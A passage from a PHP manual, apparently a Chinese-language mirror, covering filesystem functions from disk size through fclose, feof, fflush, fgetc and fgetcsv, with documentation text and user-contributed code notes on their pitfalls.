function get_dir_size($dir_name){
        $dir_size =0;
           if (is_dir($dir_name)) {
               if ($dh = opendir($dir_name)) {
                  while (($file = readdir($dh)) !== false) {
                        if($file !="." && $file != ".."){
                              if(is_file($dir_name."/".$file)){
                                   $dir_size += filesize($dir_name."/".$file);
                             }
                             /* check for any new directory inside this directory */
                             if(is_dir($dir_name."/".$file)){
                                $dir_size +=  get_dir_size($dir_name."/".$file);
                              }
                           }
                     }
             }
       }
closedir($dh);
return $dir_size;
}

$dir_name = "directory name here";
/* 1048576 bytes == 1MB */
$total_size= round((get_dir_size($dir_name) / 1048576),2) ;
print "Directory $dir_name size : $total_size MB";
?>

Depending upon the size format you want to achieve, divide directory size by 1024 or 1024 * 1024 or 1024 * 1024 * 1024 for KB or MB or GB respectively.
cotact[at]covac-software[dot]com 25-Dec-2009 06:52
Something that might go well with this function is the ability to list available disks. On Windows, here's the relevant code:

<?php
/**
 * Finds a list of disk drives on the server.
 * @return array The array velues are the existing disks.
 */
function get_disks(){
    if(php_uname('s')=='Windows NT'){
        // windows
        $disks=`fsutil fsinfo drives`;
        $disks=str_word_count($disks,1);
        if($disks[0]!='Drives')return '';
        unset($disks[0]);
        foreach($disks as $key=>$disk)$disks[$key]=$disk.':\\';
        return $disks;
    }else{
        // unix
        $data=`mount`;
        $data=explode(' ',$data);
        $disks=array();
        foreach($data as $token)if(substr($token,0,5)=='/dev/')$disks[]=$token;
        return $disks;
    }
}
?>

EXAMPLE OF USE:
<?php print_r(get_disks()); ?>

EXAMPLE RESULT:
Array
(
    [1] => A:\
    [2] => C:\
    [3] => D:\
    [4] => E:\
    [5] => F:\
    [6] => G:\
    [7] => H:\
    [8] => I:\
    [9] => M:\
    [10] => X:\
    [11] => Z:\
)

Warning: This also finds empty disk drives (eg; CD or SMD drives or the more common floppy drive).

Warning2: If you want to find space usage using the info from my function, prepend the disk function with the "@", eg:

$free=@disk_free_space('A:\\');
Viitala 04-Feb-2008 01:04
Beware of empty files!

<?php

    // Wrong
    $exp = floor(log($bytes) / log(1024));

    //Correct
    $exp = $bytes ? floor(log($bytes) / log(1024)) : 0;

?>
tularis at php dot net 25-Jun-2007 03:13
For a non-looping way to add symbols to a number of bytes:
<?php
function getSymbolByQuantity($bytes) {
    $symbols = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
    $exp = floor(log($bytes)/log(1024));

    return sprintf('%.2f '.$symbol[$exp], ($bytes/pow(1024, floor($exp))));
}
stierguy1 at msn dot com 24-Jun-2007 07:03
function roundsize($size){
    $i=0;
    $iec = array("B", "Kb", "Mb", "Gb", "Tb");
    while (($size/1024)>1) {
        $size=$size/1024;
        $i++;}
    return(round($size,1)." ".$iec[$i]);}
nikolayku at tut dot by 17-Apr-2007 01:16
Very simple function that convert bytes to kilobytes, megabytes ...

function ConvertBytes($number)
{
    $len = strlen($number);
    if($len < 4)
    {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6)
    {
        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9)
    {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }

    return sprintf("%0.2f Gb", $number/1024/1024/1024);

}
JulieC 30-Jan-2007 07:11
"filesystem or disk partition" does not equal "directory" for Windows.  Thanks.
andudi at gmx dot ch 11-Jun-2002 03:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick


disk_free_space 的别名

  • ? disk_total_space
  • fclose ?
  • PHP Manual
  • 文件系统函数
  • disk_free_space 的别名

diskfreespace

(PHP 4, PHP 5, PHP 7, PHP 8)

diskfreespace — disk_free_space() 的别名

说明

此函数是该函数的别名：disk_free_space()。

User Contributed Notes

There are no user contributed notes for this page.


关闭一个已打开的文件指针

  • ? diskfreespace
  • fdatasync ?
  • PHP Manual
  • 文件系统函数
  • 关闭一个已打开的文件指针

fclose

(PHP 4, PHP 5, PHP 7, PHP 8)

fclose — 关闭一个已打开的文件指针

说明

fclose(resource $stream): bool

将 stream 指向的文件关闭。

参数

stream

文件指针必须有效，并且是通过 fopen() 或 fsockopen() 成功打开的。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 一个简单 fclose() 例子

<?php

$handle = fopen('somefile.txt', 'r');

fclose($handle);

?>

参见

  • fopen() - 打开文件或者 URL
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接

User Contributed Notes

Glenn S 07-Feb-2023 12:30
Note that from PHP 8.0 onwards, attempting to close a stream that is already closed will throw a fatal TypeError.

Prior to PHP 8, this just caused a warning (that you can silence with @).
tom dot vom dot berg at online dot de 28-Apr-2014 08:38
if you want to daysychain a filehandle through some functions and each function is allowed to close th file you might look in a following function first, if the handle is still valid.

Opening a file, there often will be used a code like

if (!$fh = fopen($filename, $mode)) return false;

But if you possably have closed the file and you want to check that, a smililar statement would not work.

DOES NOT WORK:   if (!$fh)  end_of_chain();

use beter: if (is_resource($fh))   end_of_chain();
jgotti 07-Sep-2012 06:25
In case you have some trouble to properly disconnect some client streams opened with stream_socket_server / stream_select you should give a try to stream_socket_shutdown.

<?php stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR); ?>
mark at markvange * com 04-May-2006 09:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
James R. Steel 28-Nov-2005 09:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
jricher at jacquesricher dot com 01-Feb-2005 06:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
daniel7 dot martinez at ps dot ge dot com 10-Sep-2001 04:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.


同步文件数据（不包含元数据）

  • ? fclose
  • feof ?
  • PHP Manual
  • 文件系统函数
  • 同步文件数据（不包含元数据）

fdatasync

(PHP 8 >= 8.1.0)

fdatasync — 同步文件数据（不包含元数据）

说明

fdatasync(resource $stream): bool

此函数同步 stream 的内容到存储介质，就像是 fsync() 所做的那样，但不会同步文件元数据。注意，此函数仅在 POSIX 系统中有实际区别。在 Windows 中，是 fsync() 的别名。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 fdatasync() 示例

<?php

$file = 'test.txt';

$stream = fopen($file, 'w');
fwrite($stream, 'test data');
fwrite($stream, "\r\n");
fwrite($stream, 'additional data');

fdatasync($stream);
fclose($stream);
?>

参见

  • fflush() - 将缓冲内容输出到文件
  • fsync() - 同步文件变更（包括元数据）

User Contributed Notes

greg at example dot com 13-Aug-2023 07:35
Does not flush st_atime, st_mtime or st_size.

If you need to use filesize after a write you will need need fsync() or fflush() instead.


测试文件指针是否到了文件结束的位置

  • ? fdatasync
  • fflush ?
  • PHP Manual
  • 文件系统函数
  • 测试文件指针是否到了文件结束的位置

feof

(PHP 4, PHP 5, PHP 7, PHP 8)

feof — 测试文件指针是否到了文件结束的位置

说明

feof(resource $stream): bool

测试文件指针是否到了文件结束的位。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

如果文件指针到了 EOF 或者出错时则返回 true，否则返回一个错误（包括 socket 超时），其它情况则返回 false。

注释

Warning

如果服务器没有关闭由 fsockopen() 所打开的连接，feof() 会一直等待直到超时。要解决这个问题可参见以下范例：

Example #1 处理 feof() 的超时

<?php
function safe_feof($fp, &$start = NULL) {
$start = microtime(true);

return feof($fp);
}

/* $fp 的赋值是由之前 fsockopen() 打开 */

$start = NULL;
$timeout = ini_get('default_socket_timeout');

while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
/* Handle */
}
?>

Warning

如果传递的文件指针无效可能会陷入无限循环中，因为 feof() 不会返回 true。

Example #2 使用无效文件指针的 feof() 例子

<?php
// 如果文件不可读取或者不存在，fopen 函数返回 FALSE
$file = @fopen("no_such_file", "r");

// 来自 fopen 的 FALSE 会发出一条警告信息并在这里陷入无限循环
while (!feof($file)) {
}

fclose($file);
?>

User Contributed Notes

DimeCadmium 10-Jul-2018 07:22
feof() does not test for the actual end of a file, it tests for an exceptional condition known as end-of-file. (It's based on the C function of the same name which "tests the  end-of-file  indicator  for  the  stream")

That is to say, feof() only tells you whether fread() (and friends) have run into EOF, to allow you to differentiate it from other errors. You should be testing the return value of fread() (or whatever function you're using to read), not feof().

In particular, if your filehandle is invalid (file doesn't exist / permissions issue / etc.) or fread() encounters some other error, feof will return false, and your code will be running an infinite loop processing the FALSE returned from fread().

From the (C) manpage for fread():
       fread() does not distinguish between end-of-file and error, and callers
       must use feof(3) and ferror(3) to determine which occurred.
That is the SOLE purpose for feof().
line dot loic at gmail dot com 13-Aug-2015 09:13
To avoid infinite loops and the warning :
"Warning: feof() expects parameter 1 to be resource, boolean given"

You need to check that the fopen function return the correct type.
This can be achieved very easily with gettype().
Here is an example :

$source = fopen($xml_uri, "r");
$xml = "";

if(gettype($source) == "resource") { // Check here !
    while (!feof($source)) {
        $xml .= fgets($source, 4096);
    }
}

echo $xml;
lulzury at Yahoo dot com 01-Jul-2015 05:34
From washington dot edu css342:
On unix/linux, every line in a file has an End-Of-Line (EOL) character and the EOF character is after the last line. On windows, each line has an EOL characters except the last line. So unix/linux file's last line is
      stuff, EOL, EOF
whereas windows file's last line, if the cursor is on the line, is
      stuff, EOF

So set up data files on windows to be the same as on unix/linux. This way, you will correctly determine eof under both unix/linux and windows. In general, you must exit all loops and all functions immediately when you are attempting to read an item that would be past the eof.

Here is a typical set up that will work correctly. Suppose in a data file, there are multiple lines of data. In some function is the loop where you are reading and handling this data. This loop will look similar to the following.
     // infinite loop to read and handle a line of data
     for (;;) {
        $ln = fgets($fp);
        if (feof($fp)) break;

        // read the rest of the line
        // do whatever with data
     }
If you dislike infinite loops, you can accomplish this same thing using a while loop by priming the loop and reading again at the end:
    $ln = fgets($fp);
     while (!feof($fp)) {
        // read the rest of the line
        // do whatever with data

        $ln = fgets($fp);
     }
Alwar 02-Oct-2013 07:41
Don't use feof to test if you have readed all data sent by the other end of the socket. As i know it would return true only when the other end closes the connection.
dewi at dewimorgan dot com 09-Feb-2012 11:17
Return values in the documentation are incorrectly stated. It says:

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Correct text would be more like:

Returns FALSE if no filehandle was passed;
returns NULL if no filehandle was passed;
returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout);
otherwise returns FALSE.

As an example, running the following from the commandline:

php -r 'echo
    "Empty: ".var_export(feof(), true)."\n".
    "Null: ".var_export(feof(NULL), true)."\n".
    "Undefined: ".var_export(feof($undef), true)."\n"
;'

This will output:

PHP Warning:  Wrong parameter count for feof() in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1

Empty: NULL
Null: false
Undefined: false

This can, as other commenters have reported, result in infinite loops and massive PHP error logfiles, if the file handle returned by fopen() is invalid for any reason.
sudo dot adam dot carruthers at gmail dot com 06-Feb-2010 09:01
When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger):

NOTE: I used ";" to denote the end of data transmission.  This can be modified to whatever the server's end of file or in this case, end of output character is.

<?php
        $cursor = "";
        $inData = "";

        while(strcmp($cursor, ";") != 0) {
            $cursor = fgetc($sock);
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";".  Using the above method will add ";" to the string, but the fix for this is simple.

<?php
        $cursor = "";
        $inData = "";

         $cursor = fgetc($sock);
        while(strcmp($cursor, ";") != 0) {
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

I hope this helps someone.
jakicoll 02-Jan-2010 04:59
Please note that feof() used with TCP-Connections, returns false as long as the connection is open.
It even returns false when there is no data available.

BTW: Using feof() with HTTP for a single request, you should always make sure that you set the HTTP-Header "Connection" to "close" and _not_ to "keep-alive".
honzam+php at ipdgroup dot com 28-Feb-2008 02:17
Johannes: Remember note from stream_get_meta_data page: For socket streams this member [eof] can be TRUE  even when unread_bytes  is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

Another thing: better not rely on the "including socket timeout" part of when feof returns true. Just found program looping two days in while(!feof($fd)) fread ... with 20 seconds timeout in PHP 4.3.10.
Jet 19-Sep-2007 07:03
To avoid infinite loop with fgets() just use do..while statement.

<?php
if ($f = fopen('myfile.txt', 'r')) do {
    $line = fgets($f);
    // do any stuff here...
} while (!feof($f));
fclose($f);
cmr at forestfactory dot de 19-Nov-2006 08:57
Here's solution 3:

<?
$fp = fopen("myfile.txt", "r");
while ( ($current_line = fgets($fp)) !== false ) {
  // do stuff to the current line here
}
fclose($fp);
?>

AFAICS fgets() never returns an empty string, so we can also write:

<?
$fp = fopen("myfile.txt", "r");
while ( $current_line = fgets($fp) ) {
  // do stuff to the current line here
}
fclose($fp);
?>
Tom 24-Oct-2006 03:27
feof() is, in fact, reliable.  However, you have to use it carefully in conjunction with fgets().  A common (but incorrect) approach is to try something like this:

<?
$fp = fopen("myfile.txt", "r");
while (!feof($fp)) {
  $current_line = fgets($fp);
  // do stuff to the current line here
}
fclose($fp);
?>

The problem when processing plain text files is that feof() will not return true after getting the last line of input.  You need to try to get input _and fail_ before feof() returns true.  You can think of the loop above working like this:

* (merrily looping, getting lines and processing them)
* fgets used to get 2nd to last line
* line is processed
* loop back up -- feof returns false, so do the steps inside the loop
* fgets used to get last line
* line is processed
* loop back up -- since the last call to fgets worked (you got the last line), feof still returns false, so you do the steps inside the loop again
* fgets used to try to get another line (but there's nothing there!)
* your code doesn't realize this, and tries to process this non-existent line (typically by doing the same actions again)
* now when your code loops back up, feof returns true, and your loop ends

There's two ways to solve this:

1. You can put an additional test for feof() inside the loop
2. You can move around your calls to fgets() so that the testing of feof() happens in a better location

Here's solution 1:

<?
$fp = fopen("myfile.txt", "r");
while(!feof($fp)) {
  $current_line = fgets($fp);
  if (!feof($fp)) {
    // process current line
  }
}
fclose($fp);
?>

And here's solution 2 (IMHO, more elegant):

<?
$fp = fopen("myfile.txt", "r");
$current_line = fgets($fp);
while (!feof($fp)) {
  // process current line
  $current_line = fgets($fp);
}
fclose($fp);
?>

FYI, the eof() function in C++ works the exact same way, so this isn't just some weird PHP thing...
ironoxid at libero dot it 06-Jun-2006 06:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m 03-Jun-2006 05:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

    $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
    $xml = "";
    if ($handle)
    {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
        fclose($handle);
    }
01-Jan-2006 06:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
04-Mar-2005 09:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
Johannes 12-Mar-2004 02:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.


将缓冲内容输出到文件

  • ? feof
  • fgetc ?
  • PHP Manual
  • 文件系统函数
  • 将缓冲内容输出到文件

fflush

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fflush — 将缓冲内容输出到文件

说明

fflush(resource $stream): bool

本函数强制将所有缓冲的输出写入 stream 文件句柄所指向的资源。 成功时返回 true， 或者在失败时返回 false。

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 File write example using fflush()

<?php
$filename = 'bar.txt';

$file = fopen($filename, 'r+');
rewind($file);
fwrite($file, 'Foo');
fflush($file);
ftruncate($file, ftell($file));
fclose($file);
?>

参见

  • clearstatcache() - 清除文件状态缓存
  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

michaelsy01[NXSPAM] at informantum dot de 06-Feb-2019 09:30
A hint for PHP beginners like me:
The buffered output which is write by fflush() has nothing to do with the output buffer which is initiated by the ob_start() function.
jzho327 at cse dot unsw dot edu dot au 27-Jan-2003 12:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.


从文件指针中读取字符

  • ? fflush
  • fgetcsv ?
  • PHP Manual
  • 文件系统函数
  • 从文件指针中读取字符

fgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetc — 从文件指针中读取字符

说明

fgetc(resource $stream): string|false

从文件句柄中获取一个字符。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

返回一个包含有一个字符的字符串，该字符从 stream 指向的文件中得到。 碰到 EOF 则返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 一个 fgetc() 例子

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
echo 'Could not open file somefile.txt';
}
while (false !== ($char = fgetc($fp))) {
echo "$char\n";
}
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fopen() - 打开文件或者 URL
  • popen() - 打开进程文件指针
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • fgets() - 从文件指针中读取一行

User Contributed Notes

seraclimov at yandex dot ru 29-Jan-2018 04:57
You can't just simple print separated characters of a text which is encoded in multibyte character set like this;
Because fgetc() will break each multibyte character on its every byte. Consider this example:

<?php
$path = 'foo/cyrillic.txt';
$handle = fopen($path, 'rb');
while (FALSE !== ($ch = fgetc($handle))) {
    $curs = ftell($hanlde);
    print "[$curs:] $ch\n";
}
/* The result will be something like this:
<
[1]: <
[2]: h
[3]: 2
[4]: >
[5]: ?
[6]: ?
[7]: ?
[8]: ?
[9]: ?
[10]: ?
[11]:
[12]: ?
[13]: ?
[14]: ?
[15]: ?
[16]: ?
*/ ?>

I don't think this is the best, but it can be a workaround:
<?php
$path = 'path/to/your/file.ext';

if (!$handle = fopen($path, 'rb')) {
    echo "Can't open ($path) file';
    exit;
}

$mbch = '';    // keeps the first byte of 2-byte cyrillic letters
while (FALSE !== ($ch = fgetc($handle))) {
    //check for the sign of 2-byte cyrillic letters
    if (empty($mbch) && (FALSE !== array_search(ord($ch), Array(208,209,129)))) {
        $mbch = $ch;    // keep the first byte
        continue;
    }
    $curs = ftell($handle);
    print "[$curs]: " . $mbch . $ch . PHP_EOL;
    // or print "[$curs]: $mbch$ch\n";
    if (!empty($mbch)) $mbch = '';    // erase the byte after using
}
?>
Anonymous 30-Jun-2017 02:10
If you call fgetc(HANDLE) multiple times you must clear buffer before, thus get all unwanted chars to the new new line character.

while (true) {

    //clear buffer - read all unwanted characters
    while(fgetc(STDIN) != "\n");

    //get first character from STDIN
    $first = fgetc(STDIN);
}
sfinktah at php dot spamtrak dot org 22-Mar-2011 06:33
To read a single key-press in CLI mode, you can either use ncurses (which will probably require additional modules for PHP) or get nasty with the *nix "/bin/stty" command)

<?php
   function stty($options) {
      exec($cmd = "/bin/stty $options", $output, $el);
      $el AND die("exec($cmd) failed");
      return implode(" ", $output);
   }

   function getchar($echo = false) {
      $echo = $echo ? "" : "-echo";

      # Get original settings
      $stty_settings = preg_replace("#.*; ?#s", "", stty("--all"));

      # Set new ones
      stty("cbreak $echo");

      # Get characters until a PERIOD is typed,
      # showing their hexidecimal ordinal values.
      printf("> ");
      do {
         printf("%02x ", ord($c = fgetc(STDIN)));
      } while ($c != '.');

      # Return settings
      stty($stty_settings);
   }

   getchar();
?>
alex at alexdemers dot me 11-May-2009 10:30
The best and simplest way to get input from a user in the CLI with only PHP is to use fgetc() function with the STDIN constant:

<?php

echo 'Are you sure you want to quit? (y/n) ';
$input = fgetc(STDIN);

if ($input == 'y')
{
    exit(0);
}

?>
ktraas at gmail dot com (Kevin Traas) 23-Mar-2009 07:08
I was using command-line PHP to create an interactive script and wanted the user to enter just one character of input - in response a Yes/No question.  Had some trouble finding a way to do so using fgets(), fgetc(), various suggestions using readline(), popen(), etc.  Came up with the following that works quite nicely:

$ans = strtolower( trim( `bash -c "read -n 1 -t 10 ANS ; echo \\\$ANS"` ) );


从文件指针中读入一行并解析 CSV 字段

  • ? fgetc
  • fgets ?
  • PHP Manual
  • 文件系统函数
  • 从文件指针中读入一行并解析 CSV 字段

fgetcsv

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetcsv — 从文件指针中读入一行并解析 CSV 字段

说明

fgetcsv(
resource $stream,
?int $length = null,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): array|false

和 fgets() 类似，只除了 fgetcsv() 解析读入的行并找出 CSV 格式的字段然后返回一个包含这些字段的数组。

Note:

使用此函数需要考虑区域设置。例如，如果 LC_CTYPE 是 en_US.UTF-8，通过该函数可能会导致对文件中的单字节编码读取错误。

参数

stream

一个由 fopen()、popen() 或 fsockopen() 产生的有效文件指针。

length

必须大于在 CVS 文件（允许尾随行尾字符）中找到的最长行（以字符为单位）。否则，该行将拆分为 length 字符的块，除非拆分发生在环绕字符内。

忽略此参数（或者设为 0 或者在 PHP 8.0.0 及以后的版本中设为 null）行的最大长度将不受限制，速度稍慢。

separator

可选的 separator 参数，设置字段分隔符（仅一个单字节字符）。

enclosure

可选的 enclosure 参数，设置字段环绕符（仅一个单字节字符）。

escape

可选的 escape 参数，设置转义字符（最多一个单字节字符）。空字符串（""）禁用所有的转义机制。

Note: Usually an enclosure character is escaped inside a field by doubling it; however, the escape character can be used as an alternative. So for the default parameter values "" and \" have the same meaning. Other than allowing to escape the enclosure character the escape character has no special meaning; it isn't even meant to escape itself.

返回值

成功时返回包含读取字段的索引数组， 或者在失败时返回 false。

Note:

CSV 文件中的空行将被返回为一个包含有单个 null 字段的数组，不会被当成错误。

Note: 在读取在 Macintosh 电脑中或由其创建的文件时， 如果 PHP 不能正确的识别行结束符，启用运行时配置可选项 auto_detect_line_endings 也许可以解决此问题。

更新日志

版本 | 说明
8.0.0 | 现在 length 允许为 null.
7.4.0 | escape 参数也接受空字符串来禁用所有的转义机制。

示例

Example #1 读取并显示 CSV 文件的整个内容

<?php
$row = 1;
if (($handle = fopen("test.csv", "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
$num = count($data);
echo "<p> $num fields in line $row: <br /></p>\n";
$row++;
for ($c=0; $c < $num; $c++) {
echo $data[$c] . "<br />\n";
}
}
fclose($handle);
}
?>

参见

  • str_getcsv() - 解析 CSV 字符串为一个数组
  • explode() - 使用一个字符串分割另一个字符串
  • file() - 把整个文件读入一个数组中
  • pack() - 将数据打包成二进制字符串
  • fputcsv() - 将行格式化为 CSV 并写入文件指针

User Contributed Notes

fil dot dogaru at gmail dot com 20-Oct-2022 07:55
Shorter solution to the handling proposed by jack dot peterson at gmail dot com. Not sure if more efficient, but I guess nowadays you all have at least 1GB RAM :)). Let me know @email.

He wrote: ?If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)"

$filename = "mybeautifulcsv.csv";
$collected = array_map('str_getcsv', file($filename));
$total = count($collected[0]);
for($i=0; $i<$total; $i++):
$formated[$collected[0][$i]] = array_column($collected, $i, 0);
endfor;
array_shift($formated);

//var_dump($formated);
kamil dot dratwa at gmail dot com 24-Nov-2021 09:49
This part of the length parameter behavior description is tricky, because it's not mentioning that separator is considered as a char and converted into an empty string: "Otherwise the line is split in chunks of length characters (...)".

First, take a look at the example of reading a line which does't contain  separators:

<?php
    file_put_contents('data.csv', 'foo'); // no separator
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 2);
    var_dump($data);
?>

Example above will output:
array(1) {
  [0]=>
  string(2) "fo"
}

Now let's add separators:

<?php
    file_put_contents('data.csv', 'f,o,o'); // commas used as a separators
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 2);
    var_dump($data);
?>

Second example will output:

array(2) {
  [0]=>
  string(1) "f"
  [1]=>
  string(0) ""
}

Now let's alter the length:

<?php
    file_put_contents('data.csv', 'f,o,o');
    $handle = fopen('data.csv', 'c+');
    $data = fgetcsv($handle, 3); // notice updated length
    var_dump($data);
?>

Output of the last example is:

array(2) {
  [0]=>
  string(1) "f"
  [1]=>
  string(1) "o"
}

The final conclusion is that while splitting line in chunks, separator is considered as a char during the read but then it's being converted into empty string. What's more, if separator is at the very first or last position of a chunk it will be included in the result array, but if it's somewhere between other chars, then it will be just ignored.
Sbastien 01-Jul-2020 11:19
To use fgetcsv() with a string instead of a file, you can use the data: wrapper https://www.php.net/wrappers.data :

<?php

$csv = <<<CSV
    v1.1,v1.2,v1.3
    v2.1,v2.2,v2.3
    CSV;

$fp = fopen('data://text/plain,' . $csv, 'r');

print_r(fgetcsv($fp));
print_r(fgetcsv($fp));

/*

Array
(
    [0] => v1.1
    [1] => v1.2
    [2] => v1.3
)
Array
(
    [0] => v2.1
    [1] => v2.2
    [2] => v2.3
)

*/

?>
lewiscowles at me dot com 27-Feb-2020 03:11
In-case anyone is having difficulty working around Byte-order-marks, the following should work. As usual no warranty, you should test your code... It's for UTF-8 only

    <?php

    //...

    $fh = fopen('wut.csv', 'r');
    $firstThreeBytes = fread($fh , 3);
    if($firstThreeBytes !== "\xef\xbb\xbf") {
        rewind($fh);
    }
    while(($row = fgetcsv($fh, 10000, ',')) !== false) {
        // Your code here
    }

This basically reads 3 bytes and checks if they match

https://en.wikipedia.org/wiki/Byte_order_mark has more information if you are dealing with other code-pages
shaun at slickdesign dot com dot au 04-May-2018 03:08
When a BOM character is suppled, `fgetscsv` may appear to wrap the first element in "double quotation marks". The simplest way to ignore it is to progress the file pointer to the 4th byte before using `fgetcsv`.

<?php
// BOM as a string for comparison.
$bom = "\xef\xbb\xbf";

// Read file from beginning.
$fp = fopen($path, 'r');

// Progress file pointer and get first 3 characters to compare to the BOM string.
if (fgets($fp, 4) !== $bom) {
    // BOM not found - rewind pointer to start of file.
    rewind($fp);
}

// Read CSV into an array.
$lines = array();
while(!feof($fp) && ($line = fgetcsv($fp)) !== false) {
    $lines[] = $line;
}
?>
i at camerongreen dot org 03-Jan-2018 11:51
This style is shown as an example on this page and in a number of examples on the Internet:

<?php
$rows = array_map('str_getcsv', file('myfile.csv'));
?>

Note, this won't handle new lines within csv fields and thus should probably be avoided.
Gandalf the White 23-Feb-2017 10:14
Forget this while() loop mumbo jumbo! Use this:

$rows = array_map('str_getcsv', file('myfile.csv'));
$header = array_shift($rows);
$csv = array();
foreach ($rows as $row) {
  $csv[] = array_combine($header, $row);
}

Source: https://steindom.com/articles/shortest-php-code-convert-csv-associative-array
chris at ocproducts dot com 29-Jan-2017 07:31
